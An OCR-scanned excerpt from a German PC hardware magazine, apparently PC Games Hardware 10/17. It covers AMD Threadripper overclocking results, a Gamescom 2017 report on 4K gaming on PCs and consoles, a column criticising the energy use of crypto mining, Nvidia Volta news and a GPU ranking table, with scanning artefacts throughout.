burner ab Version 4.40 Betalá soll- 
ten die Temperatur entsprechend 
korrigiert anzeigen. 


Mit glatten 4,0 GHz für alle Kerne 
erzielten wir ein für die Ryzen-Ar- 
chitektur typisches Ergebnis, benö- 
tigten dazu allerdings nur eine sehr 
moderate Spannung von 1,3125 
Volt. Mit glatten 1,30 Volt liefen an- 
spruchslosere Tests wie Cinebench 
R15 noch durch. In Spielen konnten 
wir durch die Takterhöhung einen 


Leistungszuwachs von +10 % in Cry- 
sis 3 und +13 % in The Witcher 3 
erzielen. Der Stromverbrauch unter 
Last stiegt dabei von 326 auf 384 
respektive von 296 auf 326 Watt an. 


An der von AMD optimistisch na- 
hegelegten 4,2-GHz-Hürde sind wir 
trotz bis zu 1,45 Volt gescheitert. 
Wünschen Sie sich weitere Infos 
über Overclocking und Tuning zum 
Threadripper? Schreiben Sie mir 
doch eine E-Mail an cs@pcgh.de.(cs) 


Fazit Нагйшаге 


AMD Ryzen Threadripper 

Mit dem Threadripper 1950X liefert 
AMD nicht weniger als den schnells- 
ten Prozessor in Anwendungen ab und 
schlägt damit die zurzeit verfügbaren 
Intel-Modelle. Für reine Spieler kommt 
die Kernflut derweil zu früh — auch 
nach jahrelanger Verfügbarkeit von 
CPUs mit mehr als vier Kernen hinkt 
die Software hinterher. Die Plattform 
macht speziell mit ihrer ausgereifteren 
DDR4-OC-Unterstützung einen runde- 
ren Eindruck als AM4 es zum vergleich- 
baren Launch-Zeitpunkt tat. 


PROZESSOREN 


Auszug aus Testtabelle 
mit vielen weiteren Wertungskriterien 


Prozessor 
PCGH-Preisvergleich 
Preis/Preis-Leistungs-Verhältnis 


ANO tre Tirenéripper PHIX 
AMDzZ \ 
RYZEN 
THREADRIPPER 


AMD Ryzen TR 1950X 
www.pcgh.de/preis/1664849 


AMD arase Tar anartppar UEM 


AMDZ 


RYZEN 


THREADRIPPER 


KP 


AMD Ryzen TR 1920X 
www.pcgh.de/preis/1664904 


Ca. 1.030 €/, mangelhaft" (5) 


Ca. 825 €/, mangelhaft" (5) 


Für Mainboards mit Sockel ... 


ТВ4 (Sockel 4094) 


ТКА (Sockel 4094) 


Codename 


Threadripper 


Threadripper 


Anzahl Kerne/Module, Uncore-/L3-Takt 


16 (32), wie Speicher-/Kerntakt 


12 (24), wie Speicher-/Kerntakt 


Basistakt (Turbo für alle und einen Kern) 


3,4 GHz (3,7-4,2 GHz) 


3,5 GHz (3,7-4,2 GHz) 


L1-Cache (Daten/Befehle, je Kern/Modul) 


32 KiByte/64 KiByte 


32 KiByte/64 KiByte 


L2-Cache (je Kern/Modul)/LLC (gesamt) 


512 KiByte/32 MiByte 


512 KiByte/32 MiByte 


Transistoren, Fertigung, Die-Size 
J (20 % der Endnote) 


Grafikeinheit 


2x 4,8 Mrd., 14 nm, 2x 213 mm? 


Nicht vorhanden 


2x 4,8 Mrd., 14 nm, 2x 213 mm? 


Nicht vorhanden 


Befehlssátze und Erweiterungen (Auswahl) 


SSE bis 4.2, AVX bis 2, AES, FMA3 


SSE bis 4.2, AVX bis 2, AES, FMA3 


64x PCI-Express 3.0 


(bis 63,75) 


n я 


64x PCI-Express 3.0 


Ja (bis 63,75) 


Übertaktung per Referenztakt?* 


Ja 


Ja 


Speicherkanäle (u. max. Geschwindigkeit*/**) 


4x DDR4-2667 Single Rank/-2400 Dual Rank 


4x DDR4-2667 Single Rank/-2400 Dual Rank 


TDP laut Hersteller** 


180 Watt 


180 Watt 


Leistung (60 % der Endnote) — 


Systemverbrauch Leerlauf abzüglich Grafikkarte |52 Watt 52 Watt 
Systemverbrauch (Anno/C3/TW3)** 241/335/305 Watt 238/326/296 Watt 
Systemverbrauch Spiele (Durchschnitt)* * 286 Watt 279 Watt 
Systemverbrauch Anwendungen (Durchschnitt)** |255 Watt 246 Watt 


FAZIT 


Spieleindex (60 % der Leistungsnote) 75,3 % 73,8 % 
Anwendungsindex (40 % der Leistungsnote) 100 % 88,8 % 
© Schne e CP А епа де ollig + D D g 0 0 
d р Ing OD g 1 0 
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* Setzt Unterstützung durch das Mainboard voraus **Angabe dient nur der Information, gewertet wird die Effizienz über alle Spiele und Anwendungen. 


/ 


 SPEOAL Game 


Die diesjàhrige 


Gamescom bot nicht ie Gamescom 2017 war ein- 
* drücklich und bot ein breites 
nur Ausblick auf Angebot für die verschiedensten 


Interessen. PC Games Hardware 
hat sich für Sie mit dem Auge eines 
PC-Spielers in den heiligen Kólner 


eine Vielzahl Spiele 
und Hardware, auch 


Hallen umgesehen und dabei ei- 


ein ig e Trends lassen nige Trends ausmachen kónnen. 
Der offensichtlichste ist wohl der 
sich erkenn en. sehr starke Fokus auf ,áK-Gaming*. 


Wobei an dieser Stelle etwas diffe- 
renziert werden muss, denn „4K“ 
ist nicht gleich Ultra HD. Das ist 
ein Fakt, der mit den Konsolen- 
Upgrades Playstaytion 4 Pro und 
Xbox One X sehr offensichtlich 
wird. Doch beginnen wir erst ein- 
mal auf vertrautem Grund: Bereits 
am Montag, vor Eröffnung der 
Gamescom für Fachbesucher, lud 
Nvidia zum Anspielen. 


Natürlich gibt es schon seit gerau- 


2 
тег Zeit Spielepràsentationen іп 
м „4K“. Dieses Jahr ist das Thema 


aber geradezu omnipräsent. 
Natürlich hat das viel mit 
den neuen Konsolen 
zu tun. Und genau 
von diesen wollte 
sich Nvidia offen- 
bar ein wenig 
absetzen. Der 
Grafikkarten- 
Hersteller 
setzte bei den 
Anspielstati- 
onen einen 
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deutlichen Fokus auf Ultra HD, 
vor allem aber Ultra HD samt einer 
Bildrate von 60 Fps. 


Letzterer Punkt ist Nvidia offenbar 
ganz besonders wichtig. Sogar in 
dem Umfang, dass bei Destiny 2 
beinahe sämtliche Details mit 
Ausnahme der Texturqualität auf 
Mittel gestellt wurden, um die 60 
Fps in dem Shooter auch wirklich 
felsenfest zu halten. Die Details 
zu reduzieren ist ein eher unge- 
wohnter Schritt von Nvidia, im 
Regelfall werden eher die Bildqua- 
lität, Detailgrad und eventuelle 
Extra-Schmankerl für PC-Spieler 
in den Vordergrund gestellt. Und 
natürlich gibt es mit Final Fanta- 
sy 15 auch ein Gegenbeispiel. Die 
für 2018 angekündigte PC-Version 
des Japano-RPGs wird mit der vol- 
len Ladung Gameworks-Effekten 
ausgestattet und war samt dieser 
Optik-Extras ebenfalls in Ultra HD 
und hohen Bildraten zu bestaunen. 


Weder die aufgemöbelte PS4 Pro 
noch die Xbox One X werden Des- 
tiny 2 indes mit 60 Fps darstellen - 
bei „konsoligen“ 30 Fps ist Schluss. 
Und auch bei Auflösung müssen 
wohl Abstriche gemacht werden, 
selbst bei der verhältnismäßig po- 
tenten Xbox One X: Es wird laut 
unseren Informationen sowohl auf 
PS4 Pro als auch Xbox One X eine 
dynamische Auflösungsskalierung 
zum Einsatz kommen. Da trotz sol- 
chen Rendertricks das „4K“-Label 
freimütig zum Einsatz kommt, ist 


diese Bezeichnung jedoch nun 
stark aufgeweicht. Die Bildraten 
sind dagegen noch immer eine fes- 
te Größe und auch für viele Konso- 
lenspieler nachvollziehbar - Spie- 
len wie Battlefield, Call of Duty, 
Forza 6, Project Cars, Halo 5, Me- 
tal Gear Solid 5 oder Wolfenstein, 
welche auch auf den Daddelkisten 
von Sony und Microsoft mit (annä- 
hernd) 60 Fps laufen, sei dank. 


Und so lässt sich vielleicht auch der 
starke Fokus auf Ultra HD bei vol- 
len 60 Fps erklären - nicht nur bei 
Nvidia, sondern auch bei anderen 
PC-Herstellern: „4K“ ist im Main- 
stream angekommen, auf der Mes- 
se allgegenwärtig und aufgrund 
der Konsolen-Rendertricks kein 
Alleinstellungsmerkmal des PCs 
mehr. Die mögliche Performance 
eines High-End-PCs in „4K*-Auflö- 
sung ist es dagegen zu weitesten 
Teilen noch immer. 


Die Konsolen-Eindrücke 
Natürlich versuchen wir als PC- 
Zeitschrift unser Möglichstes, 
bei Präsentationen PC-Versionen 
den Vorzug zu geben. Doch nicht 
immer ist eine solche überhaupt 
anspielbar und zum Erscheinen 
der „leistungsfähigsten Konsole“ 
Xbox One X wollen wir uns natür- 
lich auch einmal ansehen, in wie 
weit man „beeindruckendes True 
4K-Gaming“ tatsächlich in kom- 
menden grafischen Hochkarätern 
erleben kann (Zitate stammen von 
Xbox.de). 


Far Cry 5 konnten wir ebenfalls nur in Konsolenqualität begutachten. Die Grafik erscheint besser als beim Vorgänger, eine neue volumetrische Wolkendarstellung wurde 


Destiny 2 konnte bei Nvidia probegespielt werden — natürlich in „echtem“ 4K und 
mit PC-konformen 60 Fps. Die Details waren allerdings auf mittlere Stufe reduziert. 


Assassin's Creed Origins hat sehr viel technisches Potenzial und könnte auf dem PC 
einen optischen Standard setzen — die Xbox-One-X-Version enttáuschte uns dagegen. 


ergänzt, das Shadermodell verbessert. Der sichtlich niedrige Detailgrad sowie die unscharfe Upscaling-Optik machen uns eine Einschátzung der Grafik jedoch sehr schwer. 
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Bild: Ubisoft 
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Bild: Microsoft 


s = 


Forza Motorsport 7 war der einzige von uns angespielte Xbox-Titel, der tatsächlich іп 
Ultra HD und mit 60 Fps lief. Die hübsche, flüssige und scharfe Optik gefällt. 


— A ES u 
P 


Mittelerde: Schatten des Krieges gab's bei Nvidia in voller Pracht zu bewundern. Die 
Xbox-One-X-Version läuft mit 30 Fps, reduzierten Details, aber offenbar vollem 4K. 


Bild: Nvidia 


Für Final Fantasy 15 geht Nvidia in die Vollen und präsentierte das Japano-Rollenspiel 
in AK bei 60 Fps samt der vollen Ladung an Gameworks-Effekten. 


` UEM d 
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Das Positive vorweg: Forza Motor- 
sport 7 sieht auf der Xbox One X 
ziemlich gut aus und bietet tatsäch- 
lich ein flüssiges 4K-Erlebnis: Die 
gegenüber Forza Horizon 3 noch- 
mals schickeren Fahrzeugmodelle 
bieten auch PC-verwöhnten Augen 
eine erfreuliche Vielzahl feiner 
Details, die Optik ist im Vergleich 
zu anderen „4K“-Konsolenspielen 
dank nativer UHD-Ausgabe knack- 
scharf. Entwickler Turn 10 Studios 
hat nach eigenen Angaben einige 
grafische Verbesserungen einflie- 
ßen lassen, darunter verbesserte 
Shader für die Wagendarstellung, 
das Lighting-Modell dynamischer 
gestaltet und eine (relativ simple) 
Globale Beleuchtung via Image 
Based Lighting integriert, sowie 
die Cube-Map-Spiegelungen ver- 
bessert. Um diese zusätzlichen 
Features zu stemmen, wurde au- 
ßerdem die Engine stark optimiert, 
was sich auch positiv auf die PC- 
Version auswirken soll - gegenüber 
dem Vorgänger Forza 6 (Apex) sind 
die Systemanforderungen sogar 
gesunken. Und genau das ist der 
Punkt: Forza 6 läuft auf dem PC 
schon ab einer Mittelklasse-GPU 
mit ein paar Detailanpassungen in 
Ultra HD mit flüssigen 60 Fps - der 
Nachfolger wird es wohl ebenso. 
Kein Wunder also, dass die mit der 
Leistung einer Mittelklasse-GPU 
vergleichbare Xbox One X hier 
ebenfalls überzeugen kann. 


Alles andere als Ultra HD 
Doch das Bild wandelt sich stark, 
wenn die Spiele anspruchsvoller 
ausfallen. Einen ehrlichen „Reality- 
Check“ haben wir beim Anspielen 
von Assassin's Creed Origins auf 
der Xbox One X erlebt. Die zugrun- 
deliegenden Anvil Engine haben 
PC-Spieler in praktisch identischer 
Form schon in Ghost Recon Wild- 
lands bestaunen können, welches 
mit hohen oder gar Ultra-Details 
aktuell zu den grafisch beeindru- 
ckensten Spielen überhaupt zählt. 


Geht man als PC-Spieler jedoch 
mit diesen Erfahrungen an die auf 
Ultra-HD-Displays präsentierte 
Xbox-One-X-Version von Assassin's 
Creed: Origins heran, erlebt man 
eine gewisse Ernüchterung. Klar, 
im inneren der im Vergleich zu 
einem High-End-PC sehr günsti- 
gen Xbox One X werkelt nur eine 
2,3-GHz-CPU sowie eine GPU, de- 
ren Leistung grob mit einer flotten 


Mittelklasse-Grafikkarte wie einer 
RX 580 oder GTX 1060 vergleich- 
bar ist - Wunder haben wir also 
nicht erwartet. Doch bei allem PR- 
Tamtam und auch der bestándigen 
Betonung auch seitens Ubisoft, wel- 
chen großen Sprung die Xbox One 
X ermógliche, haben wir doch eine 
etwas sauberer Optik erwartet. 


Assassin's Creed Origins wirkt auf 
das PC-verwöhnte Spielerauge auf 
dem UHD-Displays unscharf und 
in Bewegung zudem sehr grieselig. 
Bei Lastwechseln, etwa beim Umse- 
hen mit der Kamera, ist ein Aufpi- 
xeln zu beobachten, das offensicht- 
lich auf eine dynamische Auflósung 
zurückfällt. Außerdem wirken viele 
scharfe Kanten, die Vegetation und 
kleine Details „fusselig“. Einen ähn- 
lichen Effekt haben wir bei Star 
Wars Battlefront 2 auf der PS4 Pro 
beobachten kónnen - dort kommt 
eine dynamische Auflósung samt 
Checkerboard-Rendering zum Ein- 
satz. Mit dieser Technik werden 
zwei aufeinderfolgende Frames 
halbzeilig berechnet und dann zu- 
sammengefügt. Außerdem werden 
viele Effekte wie Umgebungsver- 
deckung, das Depth-of-Field oder 
Teile der Beleuchtung in niedriger 
Auflósung appliziert. Dies spart na- 
türlich recht viel Leistung, hat aber 
die oben genannten Negativpunkte 
und dürfte desweiteren die Latzenz 
um zumindest einen Frame, bei 30 
Fps also 33,3 ms, erhóhen. 


Neben dem unscharfen, ,fusseli- 
gen“ Bild ist außerdem der Detail- 
grad und die Texturqualität bei 
weitem nicht auf dem Level eines 
flotten PCs. Das extrem aggressive 
Level of Detail auf der Xbox One 
X wàre unserer Meinung nach 
selbst für einen eher langsame- 
rern Spiele-PC ohne weiteres zu 
übertrumpfen: Kaum 20 Meter 
entfernte Palmen werden auf Mi- 
aufgemotzter Konsole 
durch pixelige 2D-Pappaufsteller 
ersetzt, Levelobjekte grieseln sich 
per Dithering-Überblendung kaum 
5 Meter vor der Kamera in hóchster 
Qualität ins Bild. Die Texturen sind 
auffällig unscharf, die für die Tie- 
fenillusion nötigen Normal-Maps 
grob. Und dazu kommt noch die 
durch das Checkerboarding-Upsca- 
ling und zum Schlieren neigende 
TAA induzierte Unschärfe, noch- 


crosofts 


mals verstärkt durch die niedrige 
Bildrate von bestenfalls 30 Fps. Ja, 
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wir haben mit einiger Gewissheit 
eine etwas andere Sichtweise und 
optischen Anspruch als ein typi- 
scher Konsolenspieler, 
nochmals durch den Umstand, dass 
wir bei der Präsentation kaum ei- 
nen Meter von dem 27-Zoll-UHD- 
Display entfernt saßen - diese 
Sichtweise war uns aber während 
dem Anspielen bewusst und wir 
waren dennoch enttäuscht. Der Zu- 
gewinn bei der Auflösung wird un- 
serer Meinung durch den dadurch 
nochmals auffälligeren, niedrigen 


verstärkt 


Detailgrad und das fusselige, un- 
scharfe Bild stark torpediert. Und 
durch das Auflösungsplus ist das 
aggressive LoD und die niedrige 
Texturauflösung nun eventuell so- 
gar auffälliger als etwa bei einer hy- 
pothetischen Full-HD-Darstellung 
- eventuell hätte etwas weniger 
„4K“ bei dafür höherem Detailgrad 
ein homogeneres Bild ermöglicht. 


PC-Spieler dürfen sich indes beru- 
higt fühlen. Der PC ist weiterhin 
das Ultimo, wenn es um Bildqua- 
lität und Framerate geht - und 
zwar deutlich. Natürlich braucht 
es für die volle Ultra-HD-Pracht 
bei gleichzeitig hohen Bildraten 
auch entsprechende — High-End- 
Hardware. Doch um auf ein аһп- 
liches Level wie Assassin's Creed 
Origins auf der Xbox One X zu 
kommen, und diese in einigen Be- 
langen wie etwa dem Detailgrad 
gar deutlich zu schlagen, benótigt 
es diese nicht. Wir ziehen abermals 
Ghost Recon Wildlands heran: Wir 
erzielen bereits mit einem Core i5 
@ 3,5 GHz sowie einer übertakte- 
ten Geforce GTX 970 mit hohen 
Voreinstellungen sowie 80 Prozent 
Auflósungsskalierung ausgehend 
von 3.840 x 2.160 Pixeln saubere 
und per Vsync stabil fixierte 30 
Fps. Der Detailgrad ist der Xbox- 
Version von Assassin's Creed Ori- 
gins um Làngen (!) überlegen, die 
Bildschärfe ist trotz des Upscalings 
höher, die Texturen schärfer. 


„4K-Gaming“ mit ähnlicher Grafi- 
kqualität ist also schon mit einem 
etwas abgehangenen Mittelklasse- 
PC móglich. Würden Sie also Ihren 
vielleicht drei Jahre alten Spiele-PC 
an einen UHD-Fernseher anschlie- 
Ben, einen Controller einstópseln 
und die Einstellungen entspre- 
chend anpassen, hátten Sie mit ei- 
niger Gewissheit ein mindestens 
ebenbürtiges „4K-Erlebnis“. 
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Auf unsere Nachfrage und viel- 
leicht auch wegen der uns wohl 
anzumerkenden Enttäuschung ob 
der Bildqualität der Xbox One X, 
wurde uns seitens Ubisoft versi- 
chert, dass die PC-Version weitge- 
hende Anpassungen erhalten wird. 
Ein eigenes Studio wurde mit PC- 
Optimierungen und (grafischen) 
Anpassungen betraut, desweiteren 
sollen eine Vielzahl Optionen und 
Individualisierungsmöglichkeiten 
sowie umfangreiche HUD-Anpas- 
sungen verfügbar sein. Bei der 
optischen Qualität der PC-Version 
von Assassin's Creed rechnen wir 
zumindest mit Wildlands-Niveau. 


Mehr Ultra HD für den PC 

Für PC-Spieler ändert sich dem- 
nach eher wenig, trotz des ganzen 
4K-Boheis der Konsolenhersteller 
bleibt der PC in Sachen Bildquali- 
tät und Framerate deutlich über- 
legen. Und insbesondere Nvidia 
ist mit sichtbar viel Engagement 
dabei, diesen Vorsprung nicht 
schmelzen zu lassen. Dazu greifen 
Hersteller von PC-Displays eine 
Noch-Konsolen-Domäne an: HDR 
wird in Zukunft auch auf dem PC 
geläufiger werden, Spiele wie Des- 
tiny 2 oder Mittelerde: Schatten des 
Krieges kommen mit PC-HDR-Sup- 
port. Dazu erscheinen Anfang des 
Jahres 2018 neue UHD-Displays auf 
den Markt, einige werden neben 
HDR außerdem die Wiederholra- 
ten von 60 Hz auf 144 Hz erhöhen 
- und dazu mit einer adaptiven 
Bildsynchronisation in Form von 
Gsync oder Freesync 2 daherkom- 
men. Die ersten Exemplare etwa 
von Acer oder AOC konnten in 
Form des Predator X27 respektive 
Agon 3 AG273UG bereits auf der 
Gamescom bewundert werden. 


Natürlich werden diese Displays 
kostspielig ausfallen, doch dürfte 
sich dieser Umstand während des 
mittels Hardware-Upgrade verlän- 
gerten Lebenszyklus der Xbox One 
und PS4 noch stark relativieren. 
Die zum Betrieb eines solchen Dis- 
plays nötige Hardware-Power ist 
dagegen schon vorhanden, wenn 
auch mit kleinen Abstrichen: Im 
Grunde reicht eine GTX 1080 Ti zu 
weiten Teilen für eine sehr flüssige 
Darstellung in Ultra HD, Enthu- 
siasten können eine zweite GPU 
ergänzen oder Sie warten auf die 
ebenfalls 2018 erscheinenden Gra- 
fikkarten von Nvidia und AMD. 


| Ultra HD bei 144 


| die kommenden 


vorhanden. 


Battlefront 2 konnte auf der PS4 Pro angespielt werden. Unser Fazit zur Optik: Flüs- 
sig, aufgrund des Checkerboard-Upscalings jedoch sehr unscharf und fusselig. 


Neben HDR ist 


Hz ein absehba- 
rer PC-Trend für 


Jahre. Die nótige 
Grafikkarten-Power 
wáre zumindest 
tendenziell schon 


Bild: Acer 


ге >= Á * x Sa 


Um die ,,4K"-Optik einer Xbox One X zu erzielen und sogar zu schlagen, reicht in 
unserem Beispiel ein älterer Core i5 sowie eine flotte Mittelklasse-Grafikkarte. 
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Strategie-Renaissance: Microsoft kündigte unverhofft die Strategie-Überraschung Age 
of Empires 4 sowie mit der Definitive Edition ein 3D-Remake des Erstlings an. 


Bild: Nordic Games 


n 


28 PC Games Hardware | 10/17 


Spellforce 3 ist bereits seit einigen Jahren in Entwicklung. Die RTS 
Age of Empires, Total War Warhammer 2 und Anno 1800 PC-exklusiv. 


| - 


Mit Anno 1800 ist bei Blue Byte ein neuer Teil der grafisch beeindruckenden Aufbau- 
Strategie-Reihe in Entwicklung. 


RPG-Mixtur ist wie 


Es gab noch einen weiteren, im 
Grunde recht PC-spezifischen 
Trend zu beobachten: Es hat den 
Anschein, als gäbe es in absehbarer 
Zeit ein Wiedererstarken des Strate- 
gie-Spiel-Genres. An erster Stelle ist 
damit natürlich die Ankündigung 
von Age of Empires 4 gemeint, wel- 
ches nach aktuellem Stand exklu- 
siv für Windows-10-PCs und den 
Microsoft Store erscheinen wird. 
Die Entwicklung übernimmt Relic 
Entertainment, die sich unter an- 
derem mit der Company-of-Hero- 
es- und Dawn-of-War-Reihe einen 
Namen machen konnten (den RTS- 
Titel Halo Wars 2 übernahm in Ko- 
operation mit Microsoft übrigens 
Creative Assembly - und damit 
auch ein Sega-Studio). Relics aktu- 
ell in Dawn of War 3 zum Einsatz 
kommende Essence-Engine könnte 
auch in Age of Empires 4 Verwen- 
dung finden und wäre mit einigen 
Anpassungen auch in naher Zu- 
kunft technisch aktuell genug. 


Viele Informationen, einen Erschei- 
nungstermin oder gar Gameplay- 
Material gab es während der An- 
kündigung zwar noch nicht und 
noch ist alles andere als klar, ob der 
kommende vierte Teil tatsächlich 
auch ein „echtes“ Age of Empires 
wird. Erfreulich ist die Ankündi- 
gung aber allemal und außerdem 
eine echte Überraschung - gera- 
de als PC-only-Titel wäre ein solch 
potenzieller Hochkaräter geradezu 
verblüffend. Selbst optimistisch be- 
trachtet ist ein Erscheinen noch im 
Jahre 2018 ungewiss, doch darben- 
de Strategen dürfen sich außerdem 
auf das ebenfalls angekündigte und 
generalüberholte Age of Empires 
Definite Edition freuen. Hierbei 
handelt es sich um eine Neuaufla- 
ge des Originals, die bereits am 19. 
Oktober zum 20-jährigen Jubiläum 
des Erstlings erscheinen wird. Die 
Definitive Edition setzt auf eine 
komplett aufgefrischte 3D-Grafik 
samt „4K-Texturen“ (ja, nochmal 
4K-PR), repliziert ansonsten aber 
Look und Gameplay des Erstlings. 


Und es gibt noch mehr gute Nach- 
richten für Strategie-Fans. Mit 
Anno 1800 kündigte Ubisoft einen 
weiteren Teil der von Blue Byte 
entwickelten Aufbaustrategie an. 
Das Szenario wechselt nach zwei 
eher futuristisch angehauchten 
Teilen zurück in die Vergangenheit, 


genauer: ins Zeitalter der Indus- 
triellen Revolution. Die schon in 
den Vorgängern außerordentlich 
detaillierte und sehr hübsche Gra- 
fik soll zudem ein weiteres Update 
bekommen und noch ansehnlicher 
werden. Die ersten Spielszenen 
der sich noch im Alpha-Stadium 
befindlichen Aufbaustrategie ma- 
chen auf jeden Fall einen sehr gu- 
ten Eindruck: Der Wuselfaktor ist 
hoch, die tessellierte Landschaft 
und die dynamische Wasserdar- 
stellung sind schick, der filigrane 
Schattenwurf überzeugend und 
eine beeindruckende Weitsicht 
sowie aufwendige Post-Processing- 
Effekte lassen auf einen echten 
Technik-Kracher hoffen. Und damit 
nicht genug: Als einer der wenigen 
Entwickler hält Blue Byte auf der 
diesjährigen Gamescom die Direct- 
X-12-Fahne hoch: Anno 1800 soll 
zum Erscheinen Microsofts neue 
API unterstützen. Der große Rest 
der auf der Messe vertretenen Ent- 
wickler hielt sich beim Thema „mo- 
derne API“ bestenfalls bedeckt. 


Und es kommt noch mehr PC-Ex- 
klusives: Mit Total War Warhammer 
2 hat Creative Assembly den Nach- 
folger der RTS/Grand-Stragtegy- 
Mixtur im Warhammer-Universum 
in der Mache und der Publisher 
Nordic Games zeigte den dritten 
Teil des Strategie-Rollenspiel-Cock- 
tails Spellforce. Während bei Total 
War Warhammer 2 vor allem Game- 
play-Mechaniken sowie Einheiten 
verfeinert und ergänzt werden 
und vor allem Fans des Vorgängers 
mehr vom Gleichen (und Gutem) 
erwarten können, ist Spellforce 
3 nach der langen Pause seit dem 
Erscheinen des letzten Teils beson- 
ders spannend. Prototypen des bei 
Grimlore Games in München ent- 
wickelten Spiels haben wir bereits 
auf der Gamescom 2014 gesehen, 
nun ist der im Dezember erschei- 
nende Strategie-Mix erwachsen. 
Die genutzte Technik basiert auf 
einer eigens entwickelten Engi- 
ne und während die Präsentation 
eventuell etwas hinter hochglanz- 
polierte Titel wie beispielsweise 
Dawn of War 3 zurückfällt, ist die 
Optik doch ansehnlich. Vor allem 
die hübsche Gestaltung der Fanta- 
sy-Areale gefällt, hübsche Effekte 
und der hohe Wusel-Faktor bieten 
dem Auge weitere Anreize. PC- 
Strategen haben offenbar vorerst 
ausgedarbt. (pr) 
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Grafikkarten 


Grafikkarten, Kühler und Treiber 


Torsten Vogel 
Fachbereich Virtuelles 
E-Mail: tv@pcgh.de 


Kommentar 


mining [Verb]: Zur eigenen Bereicherung 
Anstrengungen anderer untergraben. 


Während ich diese Zeilen tippe, bricht Bitcoin 
alle bisherigen Rekorde. Zum Erscheinen des 
Heftes dürfte auch der Ethereum-Kurs ein neues 
Allzeithoch erreicht haben. Das ist schön für die 
während des sommerlichen Kurssturzes in den 
Handel gelangten Mining-Spezial-Mainboards 
und -Grafikkarten, aber darum soll es hier 
nicht gehen. Auch nicht um die drohende er- 
neute Grafikkarten-Knappheit, die selbst nach 
AMDs endlich erschienenen GTX-1070/1080- 
Kontern fallende GPU-Preise verhindern dürfte. 
Stattdessen möchte ich erneut die ganz realen 
Konsequenzen des Runs auf virtuelles (Nicht-) 
Geld ansprechen. Wie in der PCGH 09/2017 
geschildert, schätzt Digiconomit den globalen 
Krypto-Mining-Energieverbrauch mittlerwei- 
le auf über 20 TWh pro Jahr. 2018 dürfte die 
30 TWh-Schwelle fallen. Das entspricht der Jah- 
resproduktion von sechs Atomkraftwerken oder 
der gesamten deutschen Photovoltaik oder, 
wenn man die gerade in Mining-Hochburgen 
vorherrschende Kohleverstromung zugrunde 
legt, der hierzulande seit Ende des letztens 
Jahrzehnts erzielten CO2-Reduktionen. 


Zugegebenermaßen waren diese wenig beein- 
druckend, aber wer den gesamtgesellschaft- 
lichen Fortschritt von 80 Millionen Menschen 
nivelliert, der sollte einen Nutzen dafür liefern 
und nicht Trillionen nutzloser Hashwerte. An 
dieser Stelle eine Bitte an alle Miner: Könnt 
ihr als nächste Hype-Coin nicht wenigstens 
eine Währung mit sinnbehafteter Rechenlast 
nehmen? Gridcoin beispielsweise belohnt die 
Durchführung wissenschaftlicher Berechnungen 
im BOINC-Netzwerk (bekannt für SETI@home). 
Das ist zumindest mir weitaus sympathischer 
als Ethereum und Bitcoin, welche die künstliche 
Steigerung des Energie- und Hardware-Auf- 
wandes mittels willkürlicher Kriterien zu ihrem 
zentralen Sicherheitskonzept erklärt haben. 
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Bilder: Nvidia 


Nvidia: Gaming-Volta erst 2018 


Keine neuen Geforce-Grafikkarten unter dem 
Weihnachtsbaum: Die auf Spiele getrimmten 
Volta-Chips werden erst 2018 erscheinen. 


Is Nvidia im Mai den GV100 ankündigte, 
A. Fachwelt und Enthusiasten glei- 
chermafšen, denn der erste Prozessor auf Basis 
der Pascal-Nachfolgearchitektur Volta bringt 
mehr als 21 Milliarden Schaltungen auf 815 mm? 
Kernfläche unter. Wie bereits der GP100 wird 
auch der GV100 niemals als Geforce das Licht 
der Händlerregale erblicken, es handelt sich um 
Prozessoren für das High Performance Compu- 
ting (НРС). Dafür bringt der GV 100 allerlei tech- 
nische Kniffe mit, allen voran die neuen Tensor- 
Kerne: 672 der Deep-Learning-Spezialisten sind 
vorhanden. Des Weiteren bietet der GV100 satte 
2.688 FP64-ALUs, um Berechnungen mit dop- 
pelter Genauigkeit rasch abzuarbeiten. All das 
ist für Spieler reiner Ballast, hier zählen in erster 
Linie die FP32-ALUs und Speichertransferrate. 
Auch davon bietet der GV 100 reichlich, im Voll- 
ausbau stehen 5.376 ALUs bereit - auf der ersten 
Volta-Karte sind davon „nur“ 5.120 Einheiten 
aktiv und mit HBM gen2 über 4.096 Datenbah- 
nen verbunden. Wirft man einen Blick auf das 
Blockdiagramm rechts, lässt sich erahnen, dass 
die Spezialkerne reichlich Platz einnehmen und 
somit Fertigungskosten verschlingen. Nvidia 
wird daher die GPUs GV104 und GV102 veröf- 
fentlichen, welche (wie der GP102 und GP104) 
Spielerbelange befriedigen. Wie Nvidias CEO 


Jen-Hsun Huang (Bild oben) mitteilte, wird das 
jedoch nicht mehr dieses Jahr geschehen. Im 
vierten Quartal sollen jedoch die Kapazitáten 
beim Volta-Fertiger TSMC erhóht werden, was 
auf eine Veróffentlichung im Frühjahr 2018 hof- 
fen lässt. Naheliegende Modelle zum Start sind 
die GTX 2080/2070 (oder GTX 1180/1170) mit 
GV104-Chip, analog zur GTX 1080/1070 und 
GTX 980/970 der Generationen davor. (rv) 


Мер Scheduler (12 mhreadicik) 
— 


Warp Scheduler (32 geed 
Dispatch Unit (32 thread 


Register File (16,384 x 32-bit} Register Füe (16.384 x 32-bit) 


Dispatch Unit (32 threadicm) Dispatch Uait (32 Besse 


Register File (16,384 x 32-bit) 


Register Fio (16,384 x 2250) 
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GPU-Leistungsindex: Top 20 


E Gesamt B FHD В WQHD E UHD 


BESSER > | Normierte Leistung 


| Preis-Leistungs-Index (РІМ): Mehr ist besser 


Titan Xp 


Takt: 1.582 MHz, 11,4 GT/s 

RAM: 12 GiB GDDR5X 

Preis: Ca. 1.300 € (+0) 
PLV: 39,9 % 


Geforce 
GTX 1080 Ti 


Takt: 1.582 MHz, 11 GT/s 

RAM: 11 GiB GDDR5X 

Preis: Ca. 700 € (-50) 
PLV: 70,8 % 


Titan X 

(Pascal) 

Takt: 1.531 MHz, 10 GT/s 
ВАМ: 12 GiB GDDR5X 


Preis: Nicht lieferbar 
РМ: – 


Geforce 
GTX 1080 


Takt: 1.733 MHz, 10 GT/s 

RAM: 8 GiB GDDR5X 

Preis: Ca. 510 € (-50) 
PLV: 81,4 96 


NEU Radeon 

RX Vega 64 (Air) 
Takt: 1.546 MHz, 1,89 GT/s 
RAM: 8 GiB HBM2 


Preis: Ca. 500 € (Neu) 
PLV: 77,3 % 


МЕО Radeon 

RX Vega 56 
Takt: 1.471 MHz, 1,6 67/5 
RAM: 8 GiB HBM2 


Preis: Ca. 400 € (Neu) 
РІМ: 84,9 % 


Geforce 
GTX 1070 


Takt: 1.683 MHz, 8 GT/s 

RAM: 8 GiB GDDR5 

